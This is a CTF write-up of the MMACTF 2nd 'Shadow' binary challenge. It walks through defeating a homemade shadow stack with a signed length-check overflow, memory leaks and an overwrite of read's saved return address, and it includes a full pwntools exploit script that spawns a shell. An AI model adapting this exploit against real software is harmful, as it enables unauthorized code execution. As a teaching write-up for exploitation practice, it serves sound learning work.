MMACTF 2nd Shadow Write up

Solved by 4rbit3r

I couldn’t solve this problem during the ctf, but it was a really nice challenge which demonstrated a pretty good concept. Let’s take a look at the binary.

$ checksec shadow

Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

If we look at the binary, we see that there’s a main function and then there’s a _main function which is called by main. Also call and ret seem to be functions rather than just instructions.

Looking through the call and ret functions, we see that they call the functions push and pop respectively. The call function pushes the saved ebp and the saved eip onto another memory page which in this case is the shadow stack. This memory page has, by default, no permissions either to be read from or to be written to. This page is made readable and writable only when required by the push and pop functions and then immediately changes it back to no permissions.

There are two buffers which the function uses. One is created by _main. This _main then calls message function which is basically the driver function. It has 3 arguments. I’ve named them as follows :

  1. name
  2. name_length
  3. loops

The message function has its own buffer which I’m gonna call msg. This function does the following

  • If the function has just started execution, ask for a name which will be stored in the name buffer.
  • Ask for a length
  • If length > 32, set length = 32 and read length bytes into msg.
  • Increment counter.
  • If counter >= loops, go to epilogue.
  • Else, prompt whether user wants to change name
  • If yes, read new name
  • Else, loop again.

The vulnerability lies in this part of code

0x080488A3    mov [ebp+n_bytes], eax
0x080488A6    cmp [ebp+n_bytes], 0x20
0x080488AA    jle short 0x80488B3
0x080488AC    mov [ebp+n_bytes], 0x20
0x080488B3     mov dword ptr [esp+4], 0x8048C8E

Here ebp+n_bytes is where the length entered by the user is saved. jle instruction is a signed comparison instruction. Which means that if we were to enter -1 as the length, we’d pass the check.

So first thing we could do would be to leak the value of the canary. But as you will see later on, that is not needed here.

The size of the name buffer is 16 bytes. Right after those 16 bytes are some pointers. The 4th pointer after the end of the name buffer is a pointer to the stack. So by giving a string of size 16 bytes, we can leak out that pointer.

Now we can overflow the msg using the above mentioned vulnerability and change the value of the name pointer. So after leaking out a pointer to the stack, the next objective is to change the value of the name pointer to the GOT table. This will leak out the address of a libc function which we can use later on.

We also need to make sure that we change the value of the loops and the name_length variables to some large value. Now we’ve got our weapons and intel. Next comes the attack.

As mentioned, we cannot overwrite entries of the GOT table, nor can we change the values in the shadow stack. We cannot even change the pointer to the shadow stack since it gets replaced by the program before executing a ret or a call.

So what we need to do is to find some function which actually uses a ret instruction rather than the ret() function.

The only function that does that would be libc functions.

So if we were to calculate the address of read‘s saved eip, we could use that to our advantage. The function prompts us whether or not we want to change the name. If we reply ‘y’, the function then proceeds to call getnline with the arguments name,name_length. This function then goes on to call read with the same arguments. So the idea would be to change the name pointer to the address where the saved eip of read would be stored and reply ‘y’ when prompted whether or not to change the name.

So we would change the saved return address of read while executing read and then we could return to an arbitrary address. Here we use the info leaks we mentioned before.

So putting it all together

  • Leak the pointer to the stack by filling the name buffer with 16 bytes.
  • Leak the address of some libc function by changing the name pointer to point to the GOT table.
  • Change the name pointer to the address where read‘s saved eip will be stored.
  • Reply ‘y’ when prompted whether or not to change name.
  • Send address of system + “AAAA” + address of /bin/sh

And yes that worked.

$ python exploit.py
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 18294: Done
[+] Read’s saved eip @ 0xfffa82ac
[+] Atoi @ 0xf75fc8e0
[*] Switching to interactive mode
$ ls
flag
shadow
$ cat flag
TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Sad that I couldn’t solve this problem during the CTF. But really enjoyed it.

Flag: TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Here’s the exploit script.

from pwn import *
p=process("shadow")
p.sendafter("name :","n"*16)
p.sendlineafter("length :","10")
p.sendlineafter("message :","A")
p.recvuntil("<")
p.recv(28)
read=u32(p.recv(4))-0x100
log.success("Read's saved eip @ "+hex(read))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(0x8049ff8),56:p32(0x100),60:p32(0x100)},length=64)
p.sendlineafter("message :",payload)
p.recvuntil("<")
atoi=u32(p.recv(4))
log.success("Atoi @ "+hex(atoi))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(read),56:p32(0x100),60:p32(0x100)},length=64,filler="A")
p.sendlineafter("message :",payload)

payload=p32(atoi+0xea30)+"A"*4+p32(atoi+0x12ef6c)
p.sendlineafter("name :",payload)
p.interactive()

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: